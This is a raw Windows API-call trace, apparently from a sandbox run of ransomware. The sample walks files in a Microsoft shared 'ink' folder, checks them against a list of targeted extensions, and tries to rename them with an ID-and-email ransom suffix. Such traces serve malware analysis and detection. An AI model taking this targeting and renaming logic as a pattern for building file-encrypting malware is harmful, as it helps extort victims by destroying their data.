	[0189.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.271] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=7680) returned 1
	[0189.271] CloseHandle (hObject=0x35c) returned 1
	[0189.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20
	[0189.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.272] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.272] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=7680) returned 1
	[0189.272] CloseHandle (hObject=0x35c) returned 1
	[0189.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20
	[0189.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.273] lstrcmpiW (lpString1=".dgml", lpString2=".Z9") returned -1
	[0189.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.273] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=763) returned 1
	[0189.273] CloseHandle (hObject=0x35c) returned 1
	[0189.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20
	[0189.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.274] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.274] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10240) returned 1
	[0189.274] CloseHandle (hObject=0x35c) returned 1
	[0189.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20
	[0189.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.275] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0189.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.275] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=10240) returned 1
	[0189.275] CloseHandle (hObject=0x35c) returned 1
	[0189.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20
	[0189.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.276] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.277] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=1700352) returned 1
	[0189.277] CloseHandle (hObject=0x35c) returned 1
	[0189.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20
	[0189.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0189.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.277] lstrlenW (lpString=".doc") returned 4
	[0189.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.277] lstrlenW (lpString=".docx") returned 5
	[0189.277] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.277] lstrlenW (lpString=".pdf") returned 4
	[0189.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.277] lstrlenW (lpString=".xls") returned 4
	[0189.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".xlsx") returned 5
	[0189.278] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.278] lstrlenW (lpString=".ppt") returned 4
	[0189.278] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString=".zip") returned 4
	[0189.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".rar") returned 4
	[0189.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".bz2") returned 4
	[0189.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.278] lstrlenW (lpString=".7z") returned 3
	[0189.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString=".dbf") returned 4
	[0189.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString=".1cd") returned 4
	[0189.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString=".jpg") returned 4
	[0189.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.278] lstrlenW (lpString=".doc") returned 4
	[0189.278] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".docx") returned 5
	[0189.278] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0189.278] lstrlenW (lpString=".pdf") returned 4
	[0189.278] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".xls") returned 4
	[0189.278] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.278] lstrlenW (lpString=".xlsx") returned 5
	[0189.278] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0189.279] lstrlenW (lpString=".ppt") returned 4
	[0189.279] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.279] lstrlenW (lpString=".zip") returned 4
	[0189.279] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.279] lstrlenW (lpString=".rar") returned 4
	[0189.279] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.279] lstrlenW (lpString=".bz2") returned 4
	[0189.279] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.279] lstrlenW (lpString=".7z") returned 3
	[0189.279] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.279] lstrlenW (lpString=".dbf") returned 4
	[0189.279] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.279] lstrlenW (lpString=".1cd") returned 4
	[0189.279] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 61
	[0189.279] lstrlenW (lpString=".jpg") returned 4
	[0189.279] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.279] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3fc3078, Size=0x2000) returned 0x3fc3078
	[0189.279] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.279] lstrlenW (lpString="Microsoft.Ink.dll") returned 17
	[0189.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.280] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=503808) returned 1
	[0189.280] CloseHandle (hObject=0x35c) returned 1
	[0189.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20
	[0189.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.280] lstrlenW (lpString=".doc") returned 4
	[0189.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.280] lstrlenW (lpString=".docx") returned 5
	[0189.280] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0189.280] lstrlenW (lpString=".pdf") returned 4
	[0189.280] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.280] lstrlenW (lpString=".xls") returned 4
	[0189.280] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.280] lstrlenW (lpString=".xlsx") returned 5
	[0189.280] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0189.280] lstrlenW (lpString=".ppt") returned 4
	[0189.280] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".zip") returned 4
	[0189.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".rar") returned 4
	[0189.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".bz2") returned 4
	[0189.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.281] lstrlenW (lpString=".7z") returned 3
	[0189.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".dbf") returned 4
	[0189.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".1cd") returned 4
	[0189.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".jpg") returned 4
	[0189.281] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".doc") returned 4
	[0189.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".docx") returned 5
	[0189.281] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0189.281] lstrlenW (lpString=".pdf") returned 4
	[0189.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".xls") returned 4
	[0189.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".xlsx") returned 5
	[0189.281] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0189.281] lstrlenW (lpString=".ppt") returned 4
	[0189.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.281] lstrlenW (lpString=".zip") returned 4
	[0189.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0189.281] lstrlenW (lpString=".rar") returned 4
	[0189.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0189.282] lstrlenW (lpString=".bz2") returned 4
	[0189.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0189.282] lstrlenW (lpString=".7z") returned 3
	[0189.282] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.282] lstrlenW (lpString=".dbf") returned 4
	[0189.282] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0189.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.282] lstrlenW (lpString=".1cd") returned 4
	[0189.282] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 68
	[0189.282] lstrlenW (lpString=".jpg") returned 4
	[0189.282] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0189.282] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0189.282] lstrlenW (lpString="mip.exe") returned 7
	[0189.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.282] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=1540608) returned 1
	[0189.282] CloseHandle (hObject=0x35c) returned 1
	[0189.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0x20
	[0189.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.283] lstrlenW (lpString=".doc") returned 4
	[0189.283] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.283] lstrlenW (lpString=".docx") returned 5
	[0189.283] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.283] lstrlenW (lpString=".pdf") returned 4
	[0189.283] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.283] lstrlenW (lpString=".xls") returned 4
	[0189.283] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.283] lstrlenW (lpString=".xlsx") returned 5
	[0189.283] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.283] lstrlenW (lpString=".ppt") returned 4
	[0189.283] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.283] lstrlenW (lpString=".zip") returned 4
	[0189.283] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.283] lstrlenW (lpString=".rar") returned 4
	[0189.283] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.283] lstrlenW (lpString=".bz2") returned 4
	[0189.283] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.283] lstrlenW (lpString=".7z") returned 3
	[0189.283] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.283] lstrlenW (lpString=".dbf") returned 4
	[0189.283] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.283] lstrlenW (lpString=".1cd") returned 4
	[0189.283] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".jpg") returned 4
	[0189.284] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".doc") returned 4
	[0189.284] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0189.284] lstrlenW (lpString=".docx") returned 5
	[0189.284] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0189.284] lstrlenW (lpString=".pdf") returned 4
	[0189.284] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString=".xls") returned 4
	[0189.284] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString=".xlsx") returned 5
	[0189.284] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0189.284] lstrlenW (lpString=".ppt") returned 4
	[0189.284] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".zip") returned 4
	[0189.284] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString=".rar") returned 4
	[0189.284] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0189.284] lstrlenW (lpString=".bz2") returned 4
	[0189.284] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0189.284] lstrlenW (lpString=".7z") returned 3
	[0189.284] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".dbf") returned 4
	[0189.284] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".1cd") returned 4
	[0189.284] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0189.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58
	[0189.284] lstrlenW (lpString=".jpg") returned 4
	[0189.284] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0189.285] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0189.285] lstrlenW (lpString="mraut.dll") returned 9
	[0189.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0189.285] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=6368768) returned 1
	[0189.285] CloseHandle (hObject=0x35c) returned 1
	[0189.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20
	[0189.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
